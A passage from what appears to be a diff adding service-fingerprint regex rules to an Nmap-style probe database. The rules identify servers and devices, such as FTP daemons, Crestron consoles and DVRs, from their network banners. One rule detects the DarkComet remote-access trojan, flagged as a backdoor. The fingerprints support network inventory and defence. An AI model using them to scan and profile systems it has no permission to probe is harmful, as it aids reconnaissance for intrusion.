m|^0\0\0\x80\.\0E\0R\0R\0O\0R\0_\0E\0X\0I\0S\0T\0I\0N\0G\0_\0S\0E\0S\0S\0I\0O\0N\0\0\0| p/Microsoft Configuration Manager Remote Control service/ i/Error: existing session/ o/Windows/ cpe:/a:microsoft:systems_management_server/ cpe:/o:microsoft:windows/a +match codeforge m|^CFMSERV\(1\)\n| p/CodeForge IDE/ +match concertosendlog m|^Concerto Software\r\n\r\nEnsemblePro SendLog Server - Version (\d[-.\w]+)\r\n\r\nEnter Telnet Password\r\n#> | p/Concerto Software EnsemblePro CRM software SendLog Server/ v/$1/ +match concertotimesync m|^Concerto Software\r\n\r\nContactPro TimeSync Server - Version (\d[-.\w]+)\r\n\r\nEnter Telnet Password\r\n#> | p/Concerto Software EnsemblePro CRM software TimeSync Server/ v/$1/ +match conference m|^Conference, V([\d.]+)\r\n$| p/Forum Communcations conferenced/ v/$1/ +match complex-link m|^\x06\x07\xd0\0\x01\0\0\0\x01\0\x02\x07\xd0\0\x01\0\0\x01\x0f\x01\xf4\0\0\0\0HP +LTO ULTRIUM| p/HP LTO Ultrium data port/ d/storage-misc/ + +# Commvault Backup Server (CommVault Galaxy(R) Data Protection) +match commvault m=^\0\0\0\t\0\0\0\|\0\0\0= p/CommVault Galaxy data backup/ + +match compuware-lm m|^Hello, I don't understand your request\. Good bye\.\.\.\. $| p/Compuware Distributed License Management/ + +# PacketCable COPS Client-Open +# http://tools.ietf.org/html/rfc2748#section-2.1 +match cops m|^\x10\x06[\x80-\xff].......\x0b\x01([\w._-]+)\0|s p/Common Open Policy Service (COPS)/ v/1/ h/$1/ + +match control-m m|^a 00000094S 000000 L E CTM5761S0103Control-M server already connected to another gateway\. | p|BMC Control-M/EM server| cpe:/a:bmc:software_control-m_server/ + +# This port uses a binary protocol: [esc]X@ query OS version, [esc]XA query hardware +match crestron-control m|^Crestron Terminal Protocol Console opened\r\n| p/Crestron Terminal Console/ i/Crestron automation system/ cpe:/h:crestron/ +match crestron-control m|^\r\nCrestron Terminal Protocol Console Opened\r\n\r\n| p/Crestron Terminal Console/ i/Crestron automation system/ cpe:/h:crestron/ + +# Crestron Terminal Protocol - text based protocol +match crestron-ctp m|^\r\nCEN-IDOC Control Console\r\n\r\nCEN-IDOC>| p/Crestron CEN-IDOC music player connection text ui/ d/media device/ cpe:/h:crestron:cen-iodc/ +match crestron-ctp m|^\r\nRMC Control Console\r\n\r\nQM-RMC>\r\nQM-RMC>| p/Crestron QM-RMC text ui/ d/media device/ cpe:/h:crestron:qm-rmc/ +match crestron-ctp m|^TSW-[\w._-]+ Console\r\n\r\n(TSW-[\w._-]+)>| p/Crestron $1 touch screen text ui/ d/media device/ cpe:/h:crestron:$1/ +match crestron-ctp m|^Password\? \r\n| p/Crestron MPS-200 presentation system text ui/ i/Authentication required/ d/media device/ cpe:/h:crestron:mps-200/ +match crestron-ctp m|^\r\n([-\w]+) Control Console\r\nConnected to Host: ([-\w_.]+)\r\n| p/Crestron $1 automation system text ui/ d/specialized/ h/$2/ cpe:/h:crestron:$1/ +match crestron-ctp m|^\r?\n?[-\w]+ Control Console\r\n\r\n?([-\w_.]+)>| p/Crestron $1 automation system text ui/ d/specialized/ cpe:/h:crestron:$1/ +match crestron-ctp m|^[-\w]+ Console\r\n\r\n([-\w]+)>\r\r\n| p/Crestron $1 automation system text ui/ d/specialized/ cpe:/h:crestron:$1/ +match crestron-ctp m|^[-\w]+ Console\r\nWarning: Another console session is open \r\n\r\n([-\w]+)>| p/Crestron $1 automation system text ui/ d/specialized/ cpe:/h:crestron:$1/ +match crestron-ctp m|\*\*\*\*\r\n\r\nHELP : Provides help menus\.\r\nHELP \[ALL | p/Crestron automation system text ui/ i/Authentication required/ d/specialized/ cpe:/h:crestron/ +# Should be matched above, unable to verify - TS +match crestron-ctp m|^\r\nPRO2 Control Console\r\n| p/Crestron PRO2 automation system text ui/ d/specialized/ cpe:/h:crestron:pro2/ +match crestron-ctp m|^\r\nMC2E Control Console\r\n| p/Crestron MC2E automation system text ui/ d/specialized/ cpe:/h:crestron:mc2e/ + +# XSig allows communcation with a Crestron control system. +match crestron-xsig m|^\x0f\0\x01\x02$| p/Crestron XSig communication/ d/specialized/ cpe:/h:crestron/ + +match crossfire m|^\0#version 1023 1027 Crossfire Server\n| p/Crossfire game server/ v/1.9.0 or earlier/ +match crossfire m|^\0#version 1023 102[89] Crossfire Server\n| p/Crossfire game server/ v/1.9.1/ +# Softmatch so we can get a version +softmatch crossfire m|^\0#version \d+ \d+ Crossfire Server\n| p/Crossfire game server/ cpe:/a:crossfire:crossfire/ + +match cyrus-sync m|\* OK ([-.\w]+) Cyrus sync server v([-.\w]+)| p/Cyrus sync server/ v/$2/ h/$1/ cpe:/a:cmu:cyrus_imap_server:$2/ + +match cvspserver m|^no repository configured in /| p/CVS pserver/ i/broken/ +match cvspserver m|^/usr/sbin/cvs-pserver: line \d+: .*cvs: No such file or directory\n| p/CVS pserver/ i/broken/ +match cvspserver m|^Unknown command: `pserver'\n\nCVS commands are:\n| p/CVS pserver/ i/broken/ + +match cvsup m|^OK \d+ \d+ ([-.\w]+) CVSup server ready\n| p/CVSup/ v/$1/ + +match damewaremr m|^0\x11\0\0...........@.........\0\0\0\x01\0\0\0\0\0\0\0.\0\0\0$|s p/DameWare Mini Remote Control/ o/Windows/ cpe:/o:microsoft:windows/a + +match darkcomet m|^[0-9A-F]{12}$| p/DarkComet RAT/ i/**BACKDOOR**/ + +# Linux +match daytime m=^[0-3]\d [A-Z][A-Z][A-Z] (?:19|20)\d\d \d\d:\d\d:\d\d \S+\r\n= +# OpenBSD 3.2 +match daytime m=^[A-Z][a-z]{2} [A-Z][a-z]{2} +\d{1,2} +\d\d:\d\d:\d\d (?:19|20)\d\d\r\n= o/Unix/ +# Solaris 8,9 +match daytime m=^[A-Z][a-z]{2} [A-Z][a-z]{2} +\d{1,2} +\d\d:\d\d:\d\d (?:19|20)\d\d\n\r= p/Sun Solaris daytime/ o/Solaris/ cpe:/o:sun:sunos/a +# Windows daytime +match daytime m=^\d+:\d\d:\d\d [AP]M \d+/\d+/(?:19|20)\d\d\n$= p/Microsoft Windows USA daytime/ o/Windows/ cpe:/o:microsoft:windows/a +# Windows daytime - UK english I think (no AM/PM) +match daytime m=^\d\d:\d\d:\d\d \d\d?.\d\d?.(?:19|20)\d\d\n$= p/Microsoft Windows International daytime/ o/Windows/ cpe:/o:microsoft:windows/a +# daytime on Windows 2000 Server +match daytime m=^.... \d{1,2}:\d{1,2}:\d{1,2} (?:19|20)\d\d-\d{1,2}-\d{1,2}\n$= p/Microsoft Windows daytime/ o/Windows/ cpe:/o:microsoft:windows/a +# Windows NT daytime +match daytime m=^[A-Z][a-z]+day, [A-Z][a-z]+ \d{1,2}, (?:19|20)\d\d \d{1,2}:\d\d:\d\d\n\0$= p/Microsoft Windows daytime/ o/Windows/ cpe:/o:microsoft:windows/a +# Windows 2000 Adv Server sp-4 daytime +match daytime m=^[A-Z][a-z][a-z] [A-Z][a-z][a-z] \d{1,2} \d{1,2}:\d{1,2}:\d{1,2} (?:19|20)\d\d\n= p/Microsoft Windows daytime/ o/Windows/ cpe:/o:microsoft:windows/a +# Windows 2003 Server daytme +match daytime m=^\d{1,2}\.\d{1,2}\.\d{1,2} \d\d/\d\d/(?:19|20)\d\d\n= p/Microsoft Windows daytime/ o/Windows/ cpe:/o:microsoft:windows/a +# Windows 2000 Prof. Central European format +match daytime m|^\d{1,2}:\d\d:\d\d \d{1,2}[/.]\d{1,2}[/.]\d{4}\n$| p/Microsoft Windows daytime/ o/Windows/ cpe:/o:microsoft:windows/a +match daytime m|^\d{1,2}:\d\d:\d\d [ap]m \d{4}/\d\d/\d\d\n$| p/Microsoft Windows daytime/ o/Windows/ cpe:/o:microsoft:windows/a +match daytime m|^\d{1,2}:\d\d:\d\d [ap]m \d{1,2}/\d{1,2}/\d{4}\n$| p/Microsoft Windows 2003 daytime/ o/Windows/ cpe:/o:microsoft:windows_server_2003/a +# South Africa localization. +match daytime m|^\d\d:\d\d:\d\d [AP]M \d\d\d\d/\d\d/\d\d\n$| p/Microsoft Windows 7 daytime/ + +# Windows International daytime +match daytime m|^\d\d:\d\d:\d\d \d\d.\d\d.20\d\d\n$| p/Microsoft Windows International daytime/ o/Windows/ cpe:/o:microsoft:windows/a +# New Zealand format daytime - Windows 2000 +match daytime m|^[01]\d:\d\d:\d\d [AP]M [0-3]\d/[01]\d/0\d\n$| p/Microsoft Windows daytime/ i/New Zealand style/ o/Windows/ cpe:/o:microsoft:windows/a +# HP-UX B.11.00 A inetd daytime +match daytime m|^[A-Z][a-z]{2} [A-Z][a-z]{2} +\d{1,2} \d\d:\d\d:\d\d [A-Z]+ 20\d\d\r\n$| p/HP-UX daytime/ o/HP-UX/ cpe:/o:hp:hp-ux/a +# Tardis 2000 v1.4 on NT +match daytime m|^[A-Z][a-z]{2} [A-Z][a-z]{2} +\d{1,2} \d\d:\d\d:\d\d 20\d\d $| p/Tardis 2000 daytime/ +match daytime m|^\d+ \d\d-\d\d-\d\d \d\d:\d\d:\d\d 50 0 4 \d+\.0 UTC\(NIST\) \*\r\n| p/Greyware Domain Time II daytime/ + +# TrueTime nts100 running WxWorks +match daytime m|^[A-Z][a-z]{2}, [A-Z][a-z]{2} \d{1,2}, 20\d\d, \d\d:\d\d:\d\d-UTC$| p/TrueTime nts100/ + +# Cisco router daytime +match daytime m|^[A-Z][a-z]+day, [A-Z][a-z]+ \d{1,2}, \d{4} \d\d:\d\d:\d\d-\w\w\w\w?(?:-?DST)?\r\n| p/Cisco router daytime/ o/IOS/ cpe:/o:cisco:ios/a + +match daytime m|^\w+, +\d+ +\w+ +\d+ +\d+:\d+:\d+ [+-]\d+\r\n([\w:._ /\\-]+\\ats\.exe)\r\n| p/Atomic Time Synchonizer daytime/ i/$1/ o/Windows/ cpe:/o:microsoft:windows/ +match daytime m|^\d\d\d\d/\d\d/\d\d \d\d:\d\d:\d\d\r\n$| p/American Dynamics EDVR security camera daytime/ d/webcam/ + +# TODO: replace this when we figure out what it is. +softmatch daytime m|^[0-2]\d:[0-5]\d:[0-5]\d [12]\d\d\d/\d\d?/\d\d?\n$| + +match devonthink m|^\xe6\x01\0\0\0\0\0\0bplist00\xd4\x01\x02\x03\x04\x05\x06\x1e\x1fX\$versionX\$objectsY\$archiverT\$top\x12\0\x01\x86\xa0\xa5\x07\x08\x0f\x13\x1aU\$null\xd3\t\n\x0b\x0c\r\x0eStag\[dataContentV\$class\x10\x01\x80\x02\x80\x04\xd2\x10\x0b\x11\x12WNS\.dataO\x10\x98bplist00\xd2\x01\x02\x03\x04_\x10\x16ComputerIdentificationZPINCodeKey_\x10:([\w._-]+)\x08| p/DEVONthink dcoument management/ i/PIN code key: $1/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a + +match diablo2 m|^[\xae\xaf]\x01$| p/Diablo 2 game server/ + +match dict m|^530 access denied\r\n$| p/dictd/ i/access denied/ +match dict m|^220 ([-.\w]+) dictd ([-.\w/]+) on ([-.+ \w]+) | p/dictd/ v/$2/ o/$3/ h/$1/ +match dict m|^220 hello <> msg\r\n$| p/Serpento dictd/ + +# DS2, Application Version 04.5 (025) M2IP - 03.1 (09.2)Bootloader Version 04.5 (022) M2IP - 03.1 (09.2) +match digital-sprite-status m|^acam_bitmask\[0\]=1,2,4,8,16,32,64,128,256,512,1024,2048,4096,8192,16384,32768,1,2,4,8,16,32,64,128,256,512,1024,2048,4096,8192,16384,32768\r\nact_actions\[0\]=1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1\r\nact_buzzer=0\r\n| p/Dedicated Micros Digital Sprite 2 camera/ d/webcam/ + +# Digifort port 8600. +match digifort m|^\xd1Q\xf0'\0\0\0;\x01\x05LOGIN\0\0\0\x30\x01\x01\0\0\0\x05NONCE\x08 \0\0\0[0-9A-F]{32}$| p/Digifort Enterprise 6.5/ o/Windows/ cpe:/a:digifort:digifort:6.5.0_final/ cpe:/o:microsoft:windows/a +# Digifort port 8610. +match digifort-analytics m|^\xd1Q\xf0'\0\0\0A\x01\x15CMD_ANALYTICS_VERSION\0\0\0&\x01\x01\0\0\0\x07Version\x08\x14\0\0\0DIGIFORT ([\w._ -]+)\xd1Q\xf0'\0\0\0I\x01\x13CMD_ANALYTICS_NONCE\0\0\0\x30\x01\x01\0\0\0\x05NOnce\x08 \0\0\0\x30CD6DD9A883431A881BC14DE48F0F892\xd1Q\xf0'\0\0\0\x18\x01\x12CMD_ANALYTICS_PING\0\0\0\0\xd1Q\xf0'\0\0\0\x18\x01\x12CMD_ANALYTICS_PING\0\0\0\0$| p/Digifort Enterprise analytics/ v/$1/ o/Windows/ cpe:/a:digifort:digifort:$1/ cpe:/o:microsoft:windows/a +# Digifort port 8611. +match digifort-lpr m|^\xd1Q\xf0'\0\0\0;\x01\x0fCMD_LPR_VERSION\0\0\0&\x01\x01\0\0\0\x07Version\x08\x14\0\0\0DIGIFORT ([\w._ -]+)\xd1Q\xf0'\0\0\0C\x01\rCMD_LPR_NONCE\0\0\0\x30\x01\x01\0\0\0\x05NOnce\x08 \0\0\0\x332DA9B47DA082C982384782CEDFEE055\xd1Q\xf0'\0\0\0\x12\x01\x0cCMD_LPR_PING\0\0\0\0\xd1Q\xf0'\0\0\0\x12\x01\x0cCMD_LPR_PING\0\0\0\0$| p/Digifort Enterprise LPR/ v/$1/ o/Windows/ cpe:/a:digifort:digifort:$1/ cpe:/o:microsoft:windows/a + +match directconnect m=^\$MyNick ([-.\w]+)|\$Lock= p/Direct Connect P2P/ i/User: $1/ o/Windows/ cpe:/o:microsoft:windows/a +match directconnect m|^\r\nDConnect Daemon v([\d.]+)\r\nlogin: | p/Direct Connect P2P/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match directconnect m= Your IP is temporarily banned for (\d+) minutes\.\|= p/Shadows DirectConnect hub/ i/Banned for $1 minutes/ +match directconnect m= You are being banned for (\d+) minutes \(by SDCH Anti Hammering\)\.\|= p/Shadows DirectConnect hub/ i/Banned for $1 minutes/ +match directconnect m= You are being redirected to ([\d.]+)\|\$ForceMove [\d.]+\|= p/PtokaX directconnect hub/ i/Redirected to $1/ +match directconnect m=^server-version\$([\w._-]+)\|init-completion\$200\|port\$\d+\|= p/Shakespeer Direct Connect GUI/ v/$1/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a +match directconnect-admin m=^\r\nOpen DC Hub, version ([\d.]+), administrators port\.\r\nAll commands begin with '\$' and end with '\|'\.\r\nPlease supply administrators passord\.\r\n= p/OpenDCHub directconenct hub admin port/ v/$1/ o/Unix/ + +match directupdate m|^OK Welcome <[\d.]+> on DirectUpdate server ([\d.]+)\r\n| p/DirectUpdate dynamic IP updater/ v/$1/ +match directupdate m|^OK Welcome <[\d.]+> on DirectUpdate engine VER=\[([\d.]+) \(Build (\d+)\)\]-0x\w+\r\n| p/DirectUpdate dynamic IP updater/ v/$1 build $2/ + +match diskmonitor m|^000001a2[0-9a-f]{410}\r\n| p/Active@ Hard Disk Monitor/ +match diskmonitor m|^0000019a[0-9a-f]{402}\r\n| p/Active@ Hard Disk Monitor/ + +match lmtp m|^220 DSPAM DLMTP ([\w._-]+) Authentication Required\r\n| p/DSPAM lmtpd/ v/$1/ cpe:/a:dspam:dspam:$1/ + +match docker-swarm m|^\0\0\0\x04\0\0\0\0\0\0\0\x04\x08\0\0\0\0\0\0\x0e\xff\xf1| p/Docker Swarm/ cpe:/a:redhat:docker/ + +match doka5 m|^\xff\0\0\x14\x9d\0\0\0\0\0\0\0\0\0\0\x11l\0\0\0\x17\0\0| p/Surecomp DOKA 5/ cpe:/a:surecomp:doka_5/ + +match drawpile m|^..\0DRAWPILE 3 ([A-Z,]+)|s p/DrawPile/ v/0.7.0/ i/protocol 3; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.7.0/ +match drawpile m|^..\0DRAWPILE 4 ([A-Z,]+)|s p/DrawPile/ v/0.7.1 - 0.7.2/ i/protocol 4; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.7/ +match drawpile m|^..\0DRAWPILE 5 ([A-Z,]+)|s p/DrawPile/ v/0.8.0/ i/protocol 5; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.8.0/ +match drawpile m|^..\0DRAWPILE 6 ([A-Z,]+)|s p/DrawPile/ v/0.8.1/ i/protocol 6; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.8.1/ +match drawpile m|^..\0DRAWPILE 7 ([A-Z,]+)|s p/DrawPile/ v/0.8.2 - 0.8.3/ i/protocol 7; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.8/ +match drawpile m|^..\0DRAWPILE 8 ([A-Z,]+)|s p/DrawPile/ v/0.8.4 - 0.8.5/ i/protocol 8; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.8/ +match drawpile m|^..\0DRAWPILE 9 ([A-Z,]+)|s p/DrawPile/ v/0.8.6/ i/protocol 9; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.8.6/ +match drawpile m|^..\0DRAWPILE 10 ([A-Z,]+)|s p/DrawPile/ v/0.9.0 - 0.9.1/ i/protocol 10; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.9/ +match drawpile m|^..\0DRAWPILE 11 ([A-Z,]+)|s p/DrawPile/ v/0.9.2 - 0.9.5/ i/protocol 11; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.9/ +match drawpile m|^..\0DRAWPILE 12 ([A-Z,]+)|s p/DrawPile/ v/0.9.6/ i/protocol 12; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.9.6/ +match drawpile m|^..\0DRAWPILE 13 ([A-Z,]+)|s p/DrawPile/ v/0.9.7 - 0.9.8/ i/protocol 13; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.9/ +match drawpile m|^..\0DRAWPILE 14 ([A-Z,]+)|s p/DrawPile/ v/0.9.9/ i/protocol 14; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.9.9/ +match drawpile m|^..\0DRAWPILE 15 ([A-Z,]+)|s p/DrawPile/ v/0.9.10 - 1.0.6/ i/protocol 15; flags: $1/ cpe:/a:calle_laakkonen:drawpile/ + +match drawpile m|^..\0\0\{"flags":\[([^]]+)\],"message":"Drawpile server (\d[\w._-]+)","type":"login","version":(\d+)\}|s p/DrawPile/ v/$2/ i/JSON protocol $3; flags: $1/ cpe:/a:calle_laakkonen:drawpile:$2/ + +match durian m|^Durian Web Application Server III ([^<]+) for Win32\r| p/Durian Web Application Server III/ v/$1/ o/Windows/ cpe:/a:mozilla:durian_web_application_server:$1/ cpe:/o:microsoft:windows/a + +match dvr-video m|^head\0\0\0\0[\xf9-\xfa].\0\0\x04\0\0\0\x03\0{45}[\0\x03]\0| p/LTS or QSEE DVR video server/ d/media device/ + +# 1024 random bytes of challenge +match d-mp m|^\x01\0\0\0\x08\x04\0\0\x04\x04\0\0\0\x04\0\0.{100}| p/Dark MultiPlayer Kerbel Space Program mod/ cpe:/a:christopher_andrews:darkmultiplayer/ + +match dnsix m|^DNSIX$| + +# Port 5900. http://www.ducea.com/2008/11/24/drac-ip-port-numbers/. +match drac-console m|^\0\0\0\x0c\0\0\0\?\0\0\0\x02$| p/Dell Remote Access Controller 4 console/ cpe:/h:dell:remote_access_card:4/ + +match dragon m|^UNAUTHORIZED\n\r\n\r$| p/Dragon realtime shell/ + +# https://github.com/droboports/droboports.github.io/wiki/NASD-XML-format +match drobo-nasd m|^DRINASD[9a]?\0\x01\x01\0\0\0\0..<\?xml version="1\.0" encoding="utf-8"\?>\n\n\n ESAINFO\n \d+\n \d+\n \w+\n (\w+)\n ([^<]+)\n ([][\w._ ]+)\n|s p/Drobo NASD/ v/$3/ i/name: $2; sn: $1/ +match drobo-dsvc m|^DRIDDSVC\x07\x01.\0\0\0..\r\n\tESAINFO\r\n\t\d+\r\n\t\d+\r\n\t0db\d+\r\n\t(tDB\d+)\r\n\t([^<]+)\r\n\t([][\w._ ]+)\r\n|s p/Drobo-FS DDSVC/ v/$3/ i/name: $2; sn: $1/ + +match drweb m|^0 PROTOCOL 2 [23] AGENT,CONSOLE,INSTALL| p/DrWeb/ + +match dynast-solver m|^DYNAST server v(.*) \(Win32\) - Copyright\(c\) DYN| p/DYNAST solver/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a + +match echolink m|^[0-9a-f]{8}$| p/EchoLink radio-over-VoIP/ + +match enemyterritory m|^Welcome [\d.]+\. You have 15 seconds to identify\.\r\n| p/Enemy Territory Admin Mod/ + +match efi-webtools m|^\?p\xf7/Zq\xa2\xf5\x03.......\xf4\xea.......B$| p/EFI Fiery WebTools communication/ +match efi-workstation m|^\(m\xe9l@k\xb7\xf5\x03$| p/EFI Fiery Command WorkStation/ +match efi-workstation m|^\(m\xe9l@k\xb3\xf7\x1e\xa5$| p/EFI Fiery Command WorkStation/ +match efi-workstation m|^\(m\xe9l@k\xb1\xf1\x15\xa5$| p/EFI Fiery Command WorkStation/ +match efi-workstation m|^\(m\xe9l@k\xb3\xf7\x1f\xa5$| p/EFI Fiery Command WorkStation/ + +match eftserv m|^\?\x008 \xc3p EFTSRV1 ([\d.]+) | p/Ingenico EFTSRVd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ericom m|^Ericom GCS v([\d.]+)\0| p/Ericom PowerTermWebConnect/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match eggdrop m=^(?:\xff\xfb\x05\n)?\r\n\r\n([-`|.\w]+) \(Eggdrop v(\d[-.\w]+) +\([cC]\) *1997= p/Eggdrop irc bot console/ v/$2/ i/botname: $1/ cpe:/a:eggheads:eggdrop:$2/ +match eggdrop m=^(?:\xff\xfb\x05\n)?\r\n\r\n([-`|.\w]+) \(Eggdrop v(\d[-.\w]+)\+(\S+) +\([cC]\) *1997= p/Eggdrop irc bot console/ v/$2/ i/botname: $1; patch: $3/ cpe:/a:eggheads:eggdrop:$2/ +# These 2 fallbacks are because many people customize their eggdrop +# banners. These rules should always be well below the detailed rule +# above. +match eggdrop m|\(Eggdrop v([\d.]+) \(C\) 1997 Robey Pointer.*Eggheads|s p/Eggdrop IRC bot console/ v/$1/ cpe:/a:eggheads:eggdrop:$1/ +match eggdrop m|\(Eggdrop v([\d.]+)\+(\S+) \(C\) 1997 Robey Pointer.*Eggheads|s p/Eggdrop IRC bot console/ v/$1/ i/patch: $2/ cpe:/a:eggheads:eggdrop:$1/ + +match eggdrop m|Copyright \(C\) 1997 Robey Pointer\r\n.*Eggheads| p/Eggdrop IRC bot console/ cpe:/a:eggheads:eggdrop/ + +match egosecure-xmlrpc m|^<\?xml version="1\.0"\?>
EgoSecure XmlRpc Server([^<]+)([^<]+)([^<]+)| p/EgoSecure Agent xmlrpc/ v/$3/ i/protocol version $2/ h/$1/ + +match electra m|^login: \r\nREADY\r\n\x01\0\0\x1bA\x1bA| p/Cardinal Electra server/ cpe:/a:cardinal_kft:electra/ + +match emc-datadomain m|^G11\x01..\0\0\x02\x01\0\0\x10\0\0\0.{16}|s p/EMC DataDomain/ + +match enistic-manager m|^WZ=AAAAAAAAAAByAAE=73\r0E0000000000cgAD83\r$| p/Enistic Energy Manager/ + +match envisalink m|^5053CD\r\n| p/EyezOn EnvisaLink/ d/security-misc/ + +match epoptes-client m|^\ndie\(\) {\n echo \"epoptes-client ERROR: \$@\" >&2\n exit 1\n}\n\ninfo\(\) {\n local server_ip def_iface\n\n if \[ -z \"\$cached_info\" \]; then\n VERSION=\${VERSION:-([\d.]+)}| p/Epoptes LTSPd/ i/compat version $1/ cpe:/a:epoptes:epoptes/ +match epp m|^\x00\x00..<\?xml version=\"1\.0\" encoding=\"UTF-8\" standalone=\"no\" \?>\n\n\n \n ([^<]+)\n .*\n \n ([\w._-]+)\n|s p/Extensible Provisioning Protocol/ v/$2/ h/$1/ +softmatch epp m|^\0...<\?xml version="1\.0" encoding="[uU][tT][fF]-8" standalone="no"\?>\s*([^<]+)|s p/Extensible Provisioning Protocol/ i/name: $1/ +# RFC 5730 +softmatch epp m|^\0...<\?xml version="1\.0" encoding="[uU][tT][fF]-8" standalone="no"\?>\s*>\n\0\x0eFRP Node Ready>>\n\0\x0e| p/File Replication Pro/ + +match freedoko m|^FreeDoko server\n\d+\.\d+: name: ([^\n]+)\n| p/FreeDoko game server/ i/name: $1/ + +match ftp m|^220 ([-/.+\w]+) FTP server \(SecureTransport (\d[-.\w]+)\) ready\.\r\n| p/Tumbleweed SecureTransport ftpd/ v/$2/ h/$1/ cpe:/a:tumbleweed:securetransport:$2/ +match ftp m|^220 ([-/.+\w]+) FTP server \(SecureTransport (\d[-.\w]+)\) ready\. \r\n| p/Axway SecureTransport ftpd/ v/$2/ h/$1/ cpe:/a:axway:securetransport:$2/ +match ftp m|^220 3Com 3CDaemon FTP Server Version (\d[-.\w]+)\r\n| p/3Com 3CDaemon ftpd/ v/$1/ +match ftp m|^220 3Com FTP Server Version ([-\w_.]+)\r\n| p/3Com ftpd/ v/$1/ +# GuildFTP 0.999.9 on Windows +match ftp m|^220-GuildFTPd FTP Server \(c\) \d\d\d\d(?:-\d\d\d\d)?\r\n220-Version (\d[-.\w]+)\r\n| p/Guild ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220-.*\r\n220 Please enter your name:\r\n| p/GuildFTPd/ o/Windows/ cpe:/o:microsoft:windows/a +# Medusa Async V1.21 [experimental] on Linux 2.4 +match ftp m|^220 ([-/.+\w]+) FTP server \(Medusa Async V(\d[^\)]+)\) ready\.\r\n| p/Medusa Async ftpd/ v/$2/ h/$1/ +match ftp m|^220 ([-/.+\w]+)\((\d[-.\w]+)\) FTP server \(EPSON ([^\)]+)\) ready\.\r\n| p/Epson printer ftpd/ v/$2/ i/Epson $3/ d/printer/ h/$1/ +match ftp m|^220 ([-/.+\w]+) IBM TCP/IP for OS/2 - FTP Server [Vv]er \d+:\d+:\d+ on [A-Z]| p|IBM OS/2 ftpd| o|OS/2| h/$1/ cpe:/a:ibm:os2_ftp_server/ cpe:/o:ibm:os2/ +match ftp m|^220 ([-/.+\w]+) IBM TCP/IP f\xfcr OS/2 - FTP-Server [Vv]er \d+:\d+:\d+ .* bereit\.\r\n| p|IBM OS/2 ftpd| i/German/ o|OS/2| h/$1/ cpe:/a:ibm:os2_ftp_server::::de/ cpe:/o:ibm:os2/ +match ftp m|^220 Internet Rex (\d[-.\w ]+) \(([-/.+\w]+)\) FTP server awaiting your command\.\r\n| p/Internet Rex ftpd/ v/$1/ i/$2/ +match ftp m|^530 Connection refused, unknown IP address\.\r\n$| p/Microsoft IIS ftpd/ i/IP address rejected/ o/Windows/ cpe:/a:microsoft:internet_information_services/ cpe:/o:microsoft:windows/a +match ftp m|^220 IIS ([\w._-]+) FTP\r\n| p/Microsoft IIS ftpd/ v/$1/ o/Windows/ cpe:/a:microsoft:internet_information_services:$1/ cpe:/o:microsoft:windows/a +match ftp m|^220 PizzaSwitch FTP server ready\r\n| p/Xylan PizzaSwitch ftpd/ +match ftp m|^220 ([-.+\w]+) IronPort FTP server \(V([-.\w]+)\) ready\.\r\n| p/IronPort mail appliance ftpd/ v/$2/ h/$1/ +match ftp m|^220 ([-.+\w]+) IronPort FTP server \(V([-.\w]+)\) ready\r\n| p/IronPort firewall ftpd/ v/$2/ h/$1/ +match ftp m|^220 ([-.+\w]+) Cisco IronPort FTP server \(V([-.\w]+)\) ready\r\n| p/Cisco IronPort mail appliance ftpd/ v/$2/ h/$1/ +match ftp m|^220 WFTPD (\d[-.\w]+) service \(by Texas Imperial Software\) ready for new user\r\n| p/Texas Imperial Software WFTPD/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220.*\r\n220 WFTPD (\d[-.\w]+) service \(by Texas Imperial Software\) ready for new user\r\n|s p/Texas Imperial Software WFTPD/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 ([-.+\w]+) FTP server \(Version (MICRO-[-.\w:#+ ]+)\) ready\.\r\n| p/Bay Networks MicroAnnex terminal server ftpd/ v/$2/ d/terminal server/ h/$1/ +match ftp m|^220 ([-.+\w]+) FTP server \(Digital UNIX Version (\d[-.\w]+)\) ready\.\r\n| p/Digital UNIX ftpd/ v/$2/ o/Digital UNIX/ h/$1/ cpe:/o:dec:digital_unix/a +match ftp m|^220 ([-.+\w]+) FTP server \(Version [\d.]+\+Heimdal (\d[-+.\w ]+)\) ready\.\r\n| p/Heimdal Kerberized ftpd/ v/$2/ o/Unix/ h/$1/ +match ftp m|^500 OOPS: (could not bind listening IPv4 socket)\r\n$| p/vsftpd/ i/broken: $1/ o/Unix/ cpe:/a:vsftpd:vsftpd/ +match ftp m|^500 OOPS: vsftpd: (.*)\r\n| p/vsftpd/ i/broken: $1/ o/Unix/ cpe:/a:vsftpd:vsftpd/ +match ftp m|^220-QTCP at ([-.\w]+)\r\n220| p|IBM OS/400 FTPd| o|OS/400| h/$1/ cpe:/o:ibm:os_400/a +match ftp m|^220[- ]FileZilla Server version (\d[-.\w ]+)\r\n| p/FileZilla ftpd/ v/$1/ o/Windows/ cpe:/a:filezilla-project:filezilla_server:$1/ cpe:/o:microsoft:windows/a +match ftp m|^220 ([-\w_.]+) running FileZilla Server version (\d[-.\w ]+)\r\n| p/FileZilla ftpd/ v/$2/ o/Windows/ h/$1/ cpe:/a:filezilla-project:filezilla_server:$2/ cpe:/o:microsoft:windows/a +match ftp m|^220 FTP Server - FileZilla\r\n| p/FileZilla ftpd/ o/Windows/ cpe:/a:filezilla-project:filezilla_server/ cpe:/o:microsoft:windows/a +match ftp m|^220-Welcome to ([A-Z]+) FTP Service\.\r\n220 All unauthorized access is 